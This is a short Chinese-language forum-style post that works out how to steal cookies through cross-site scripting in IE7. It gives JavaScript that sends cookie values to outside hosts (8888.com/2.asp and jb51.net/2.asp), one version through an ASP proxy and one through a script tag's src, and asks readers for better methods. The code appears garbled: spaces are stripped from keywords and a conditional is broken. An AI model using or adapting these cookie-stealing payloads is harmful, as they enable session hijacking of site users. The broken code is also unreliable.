研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:
<script>
functiongetXmlHttpRequest(){
if(window.ActiveXObject){
varieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for(vari=0;i<ieArr.length;i++)
{
varxmlhttp=newActiveXObject(ieArr[i]);
}
returnxmlhttp;
}elseif(window.XMLHttpRequest){
returnnewXMLHttpRequest();
}
}
varxmlHttp=getXmlHttpRequest();
xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);
xmlHttp.send(null)
</script>
其中web.asp是一个asp代理。
这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。
另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:
<scriptLANGUAGE="Javascript"src=""id="get">
</script>
<scriptLANGUAGE="Javascript">
<!--
functionget(url)
{
varobj=document.getElementById("get");
obj.src=url;
(obj.readStatus==200)
{
eval(alert("ok"));
}
}
get("http://jb51.net/2.asp?cookie=12345678")
/*functionquery()
{
get("http://jb51.net/web/1.img");//在这里可以写代码,像把alert("ok")里的ok换成变量,1.img中的代码是varok="123"
}
//-->
*/
</script>
至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论